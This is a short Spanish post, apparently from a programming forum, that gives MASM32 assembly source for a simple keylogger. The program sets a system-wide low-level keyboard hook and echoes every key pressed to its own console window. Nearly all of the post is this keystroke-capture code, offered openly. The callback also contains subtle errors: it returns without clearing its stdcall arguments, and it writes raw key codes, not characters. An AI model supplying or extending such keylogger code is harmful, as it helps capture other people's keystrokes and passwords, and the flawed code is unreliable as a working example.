Como el código que hizo linkgl, pero en ASM.
.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\user32.inc
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\user32.lib
.data?
h_hook HHOOK ?
kb_hook KBDLLHOOKSTRUCT <>
msg MSG <>
kb_ptr DWORD ?
key_buffer DB 1
h_buffer HANDLE ?
.code
start:
invoke AllocConsole
invoke GetStdHandle, STD_OUTPUT_HANDLE
mov [h_buffer], eax
lea ebx, LowLevelKeyboardProc
invoke SetWindowsHookEx, WH_KEYBOARD_LL, ebx, 0, 0
mov [h_hook], eax
message_proc:
invoke GetMessage, addr msg, NULL, 0, 0
cmp eax, TRUE
jz process_msg
invoke UnhookWindowsHookEx, [h_hook]
invoke ExitProcess, 0
process_msg:
invoke TranslateMessage, addr msg
invoke DispatchMessage, addr msg
jmp message_proc
LowLevelKeyboardProc:
cmp dword ptr[esp+4], 00h
jae process_hook
return:
invoke CallNextHookEx, 0, dword ptr[esp+4], dword ptr[esp+8], dword ptr[esp+0Ch]
retn
process_hook:
cmp dword ptr[esp+8], WM_KEYDOWN
jnz return
mov ebx, [esp+0Ch]
mov ebx, [ebx+00h]
mov byte ptr[key_buffer],bl
invoke WriteConsole, [h_buffer], addr key_buffer, 1, NULL, NULL
jmp return
ret
end start